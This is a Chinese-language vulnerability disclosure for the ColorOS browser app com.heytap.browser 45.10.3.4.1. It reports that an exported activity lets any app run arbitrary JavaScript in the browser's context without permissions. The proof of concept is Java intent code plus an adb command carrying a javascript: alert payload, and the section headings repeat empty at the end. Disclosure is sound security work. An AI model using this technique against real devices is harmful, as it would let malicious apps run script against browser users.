漏洞报告

概述：

在 Android 平台的 com.heytap.browser 应用中发现了一个漏洞。该漏洞允许攻击者在无需任何权限的情况下，在应用上下文中执行任意 JavaScript 代码。

应用详情：

供应商： - ColorOS
应用名称： 'Internet Browser' com.heytap.browser
版本： 45.10.3.4.1
组件： com.android.browser.RealBrowserActivity

漏洞详情：

漏洞类型： JavaScript 代码执行
攻击向量： 通过导出的 activity 组件
所需权限： 无

描述：

com.heytap.browser 应用中的 com.android.browser.RealBrowserActivity activity 被导出，任何第三方应用都可以在无需任何权限的情况下调用它。恶意应用可以利用这一点，在 com.heytap.browser 应用上下文中执行任意 JavaScript 代码。

概念验证（PoC）：

{
        super.onCreate(savedInstanceState);

        String javaScriptCommand = "javascript:alert%28%27Test%20Alert%27%29%3B";

        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setData(Uri.parse(javaScriptCommand));
        intent.setClassName("com.heytap.browser", "com.android.browser.RealBrowserActivity");

        startActivity(intent);

        finish();
    }


adb shell am start -a android.intent.action.VIEW -d "javascript:alert%28%27Test%20Alert%27%29%3B" -n com.heytap.browser/com.android.browser.RealBrowserActivity

com heytap browser- 45 10 3 4 1-JS poc-coloros

影响：

成功利用此漏洞后，攻击者可以：

在 com.heytap.browser 应用上下文中执行任意 JavaScript 代码。

com.heytap.browser

最受欢迎

漏洞报告

概述：

应用详情：

漏洞详情：

描述：

概念验证（PoC）：

影响：